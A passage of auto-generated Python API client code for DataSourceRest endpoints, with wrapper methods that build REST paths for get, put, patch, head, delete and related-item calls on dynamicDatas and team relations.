>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_dynamic_datas_fk_delete_with_http_info(id, fk, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: DataSourceRest id (required)
:param str fk: Foreign key for dynamicDatas (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id', 'fk']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_id_dynamic_datas_fk_delete" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if ('id' not in params) or (params['id'] is None):
raise ValueError("Missing the required parameter `id` when calling `data_source_rests_id_dynamic_datas_fk_delete`")
# verify the required parameter 'fk' is set
if ('fk' not in params) or (params['fk'] is None):
raise ValueError("Missing the required parameter `fk` when calling `data_source_rests_id_dynamic_datas_fk_delete`")
collection_formats = {}
resource_path = '/DataSourceRests/{id}/dynamicDatas/{fk}'.replace('{format}', 'json')
path_params = {}
if 'id' in params:
path_params['id'] = params['id']
if 'fk' in params:
path_params['fk'] = params['fk']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None,
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_id_dynamic_datas_fk_get(self, id, fk, **kwargs):
"""
Find a related item by id for dynamicDatas.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_dynamic_datas_fk_get(id, fk, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: DataSourceRest id (required)
:param str fk: Foreign key for dynamicDatas (required)
:return: DynamicData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_id_dynamic_datas_fk_get_with_http_info(id, fk, **kwargs)
else:
(data) = self.data_source_rests_id_dynamic_datas_fk_get_with_http_info(id, fk, **kwargs)
return data
def data_source_rests_id_dynamic_datas_fk_get_with_http_info(self, id, fk, **kwargs):
"""
Find a related item by id for dynamicDatas.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_dynamic_datas_fk_get_with_http_info(id, fk, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: DataSourceRest id (required)
:param str fk: Foreign key for dynamicDatas (required)
:return: DynamicData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id', 'fk']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_id_dynamic_datas_fk_get" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if ('id' not in params) or (params['id'] is None):
raise ValueError("Missing the required parameter `id` when calling `data_source_rests_id_dynamic_datas_fk_get`")
# verify the required parameter 'fk' is set
if ('fk' not in params) or (params['fk'] is None):
raise ValueError("Missing the required parameter `fk` when calling `data_source_rests_id_dynamic_datas_fk_get`")
collection_formats = {}
resource_path = '/DataSourceRests/{id}/dynamicDatas/{fk}'.replace('{format}', 'json')
path_params = {}
if 'id' in params:
path_params['id'] = params['id']
if 'fk' in params:
path_params['fk'] = params['fk']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='DynamicData',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_id_dynamic_datas_fk_put(self, id, fk, **kwargs):
"""
Update a related item by id for dynamicDatas.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_dynamic_datas_fk_put(id, fk, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: DataSourceRest id (required)
:param str fk: Foreign key for dynamicDatas (required)
:param DynamicData data:
:return: DynamicData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_id_dynamic_datas_fk_put_with_http_info(id, fk, **kwargs)
else:
(data) = self.data_source_rests_id_dynamic_datas_fk_put_with_http_info(id, fk, **kwargs)
return data
def data_source_rests_id_dynamic_datas_fk_put_with_http_info(self, id, fk, **kwargs):
"""
Update a related item by id for dynamicDatas.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_dynamic_datas_fk_put_with_http_info(id, fk, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: DataSourceRest id (required)
:param str fk: Foreign key for dynamicDatas (required)
:param DynamicData data:
:return: DynamicData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id', 'fk', 'data']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_id_dynamic_datas_fk_put" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if ('id' not in params) or (params['id'] is None):
raise ValueError("Missing the required parameter `id` when calling `data_source_rests_id_dynamic_datas_fk_put`")
# verify the required parameter 'fk' is set
if ('fk' not in params) or (params['fk'] is None):
raise ValueError("Missing the required parameter `fk` when calling `data_source_rests_id_dynamic_datas_fk_put`")
collection_formats = {}
resource_path = '/DataSourceRests/{id}/dynamicDatas/{fk}'.replace('{format}', 'json')
path_params = {}
if 'id' in params:
path_params['id'] = params['id']
if 'fk' in params:
path_params['fk'] = params['fk']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in params:
body_params = params['data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='DynamicData',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_id_dynamic_datas_get(self, id, **kwargs):
"""
Queries dynamicDatas of DataSourceRest.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_dynamic_datas_get(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: DataSourceRest id (required)
:param str filter:
:return: list[DynamicData]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_id_dynamic_datas_get_with_http_info(id, **kwargs)
else:
(data) = self.data_source_rests_id_dynamic_datas_get_with_http_info(id, **kwargs)
return data
def data_source_rests_id_dynamic_datas_get_with_http_info(self, id, **kwargs):
"""
Queries dynamicDatas of DataSourceRest.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_dynamic_datas_get_with_http_info(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: DataSourceRest id (required)
:param str filter:
:return: list[DynamicData]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id', 'filter']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_id_dynamic_datas_get" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if ('id' not in params) or (params['id'] is None):
raise ValueError("Missing the required parameter `id` when calling `data_source_rests_id_dynamic_datas_get`")
collection_formats = {}
resource_path = '/DataSourceRests/{id}/dynamicDatas'.replace('{format}', 'json')
path_params = {}
if 'id' in params:
path_params['id'] = params['id']
query_params = {}
if 'filter' in params:
query_params['filter'] = params['filter']
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[DynamicData]',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_id_dynamic_datas_post(self, id, **kwargs):
"""
Creates a new instance in dynamicDatas of this model.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_dynamic_datas_post(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: DataSourceRest id (required)
:param DynamicData data:
:return: DynamicData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_id_dynamic_datas_post_with_http_info(id, **kwargs)
else:
(data) = self.data_source_rests_id_dynamic_datas_post_with_http_info(id, **kwargs)
return data
def data_source_rests_id_dynamic_datas_post_with_http_info(self, id, **kwargs):
"""
Creates a new instance in dynamicDatas of this model.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_dynamic_datas_post_with_http_info(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: DataSourceRest id (required)
:param DynamicData data:
:return: DynamicData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id', 'data']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_id_dynamic_datas_post" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if ('id' not in params) or (params['id'] is None):
raise ValueError("Missing the required parameter `id` when calling `data_source_rests_id_dynamic_datas_post`")
collection_formats = {}
resource_path = '/DataSourceRests/{id}/dynamicDatas'.replace('{format}', 'json')
path_params = {}
if 'id' in params:
path_params['id'] = params['id']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in params:
body_params = params['data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='DynamicData',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_id_exists_get(self, id, **kwargs):
"""
Check whether a model instance exists in the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_exists_get(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Model id (required)
:return: InlineResponse2002
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_id_exists_get_with_http_info(id, **kwargs)
else:
(data) = self.data_source_rests_id_exists_get_with_http_info(id, **kwargs)
return data
def data_source_rests_id_exists_get_with_http_info(self, id, **kwargs):
"""
Check whether a model instance exists in the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_exists_get_with_http_info(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Model id (required)
:return: InlineResponse2002
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_id_exists_get" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if ('id' not in params) or (params['id'] is None):
raise ValueError("Missing the required parameter `id` when calling `data_source_rests_id_exists_get`")
collection_formats = {}
resource_path = '/DataSourceRests/{id}/exists'.replace('{format}', 'json')
path_params = {}
if 'id' in params:
path_params['id'] = params['id']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='InlineResponse2002',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_id_get(self, id, **kwargs):
"""
Find a model instance by {{id}} from the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_get(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Model id (required)
:param str filter: Filter defining fields and include - must be a JSON-encoded string ({\"something\":\"value\"})
:return: DataSourceRest
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_id_get_with_http_info(id, **kwargs)
else:
(data) = self.data_source_rests_id_get_with_http_info(id, **kwargs)
return data
def data_source_rests_id_get_with_http_info(self, id, **kwargs):
"""
Find a model instance by {{id}} from the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_get_with_http_info(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Model id (required)
:param str filter: Filter defining fields and include - must be a JSON-encoded string ({\"something\":\"value\"})
:return: DataSourceRest
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id', 'filter']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_id_get" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if ('id' not in params) or (params['id'] is None):
raise ValueError("Missing the required parameter `id` when calling `data_source_rests_id_get`")
collection_formats = {}
resource_path = '/DataSourceRests/{id}'.replace('{format}', 'json')
path_params = {}
if 'id' in params:
path_params['id'] = params['id']
query_params = {}
if 'filter' in params:
query_params['filter'] = params['filter']
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='DataSourceRest',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_id_head(self, id, **kwargs):
"""
Check whether a model instance exists in the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_head(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Model id (required)
:return: InlineResponse2002
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_id_head_with_http_info(id, **kwargs)
else:
(data) = self.data_source_rests_id_head_with_http_info(id, **kwargs)
return data
def data_source_rests_id_head_with_http_info(self, id, **kwargs):
"""
Check whether a model instance exists in the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_head_with_http_info(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Model id (required)
:return: InlineResponse2002
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_id_head" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if ('id' not in params) or (params['id'] is None):
raise ValueError("Missing the required parameter `id` when calling `data_source_rests_id_head`")
collection_formats = {}
resource_path = '/DataSourceRests/{id}'.replace('{format}', 'json')
path_params = {}
if 'id' in params:
path_params['id'] = params['id']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'HEAD',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='InlineResponse2002',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_id_patch(self, id, **kwargs):
"""
Patch attributes for a model instance and persist it into the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_patch(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: DataSourceRest id (required)
:param DataSourceRest data: An object of model property name/value pairs
:return: DataSourceRest
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_id_patch_with_http_info(id, **kwargs)
else:
(data) = self.data_source_rests_id_patch_with_http_info(id, **kwargs)
return data
def data_source_rests_id_patch_with_http_info(self, id, **kwargs):
"""
Patch attributes for a model instance and persist it into the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_patch_with_http_info(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: DataSourceRest id (required)
:param DataSourceRest data: An object of model property name/value pairs
:return: DataSourceRest
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id', 'data']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_id_patch" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if ('id' not in params) or (params['id'] is None):
raise ValueError("Missing the required parameter `id` when calling `data_source_rests_id_patch`")
collection_formats = {}
resource_path = '/DataSourceRests/{id}'.replace('{format}', 'json')
path_params = {}
if 'id' in params:
path_params['id'] = params['id']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in params:
body_params = params['data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'PATCH',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='DataSourceRest',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_id_put(self, id, **kwargs):
"""
Replace attributes for a model instance and persist it into the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_put(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Model id (required)
:param DataSourceRest data: Model instance data
:return: DataSourceRest
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_id_put_with_http_info(id, **kwargs)
else:
(data) = self.data_source_rests_id_put_with_http_info(id, **kwargs)
return data
def data_source_rests_id_put_with_http_info(self, id, **kwargs):
"""
Replace attributes for a model instance and persist it into the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_put_with_http_info(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Model id (required)
:param DataSourceRest data: Model instance data
:return: DataSourceRest
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id', 'data']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_id_put" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if ('id' not in params) or (params['id'] is None):
raise ValueError("Missing the required parameter `id` when calling `data_source_rests_id_put`")
collection_formats = {}
resource_path = '/DataSourceRests/{id}'.replace('{format}', 'json')
path_params = {}
if 'id' in params:
path_params['id'] = params['id']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in params:
body_params = params['data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='DataSourceRest',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_id_replace_post(self, id, **kwargs):
"""
Replace attributes for a model instance and persist it into the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_replace_post(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Model id (required)
:param DataSourceRest data: Model instance data
:return: DataSourceRest
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_id_replace_post_with_http_info(id, **kwargs)
else:
(data) = self.data_source_rests_id_replace_post_with_http_info(id, **kwargs)
return data
def data_source_rests_id_replace_post_with_http_info(self, id, **kwargs):
"""
Replace attributes for a model instance and persist it into the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_replace_post_with_http_info(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Model id (required)
:param DataSourceRest data: Model instance data
:return: DataSourceRest
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id', 'data']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_id_replace_post" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if ('id' not in params) or (params['id'] is None):
raise ValueError("Missing the required parameter `id` when calling `data_source_rests_id_replace_post`")
collection_formats = {}
resource_path = '/DataSourceRests/{id}/replace'.replace('{format}', 'json')
path_params = {}
if 'id' in params:
path_params['id'] = params['id']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in params:
body_params = params['data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='DataSourceRest',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_id_team_get(self, id, **kwargs):
"""
Fetches belongsTo relation team.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_team_get(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: DataSourceRest id (required)
:param bool refresh:
:return: Team
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_id_team_get_with_http_info(id, **kwargs)
else:
(data) = self.data_source_rests_id_team_get_with_http_info(id, **kwargs)
return data
def data_source_rests_id_team_get_with_http_info(self, id, **kwargs):
"""
Fetches belongsTo relation team.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_team_get_with_http_info(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: DataSourceRest id (required)
:param bool refresh:
:return: Team
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id', 'refresh']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_id_team_get" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if ('id' not in params) or (params['id'] is None):
raise ValueError("Missing the required parameter `id` when calling `data_source_rests_id_team_get`")
collection_formats = {}
resource_path = '/DataSourceRests/{id}/team'.replace('{format}', 'json')
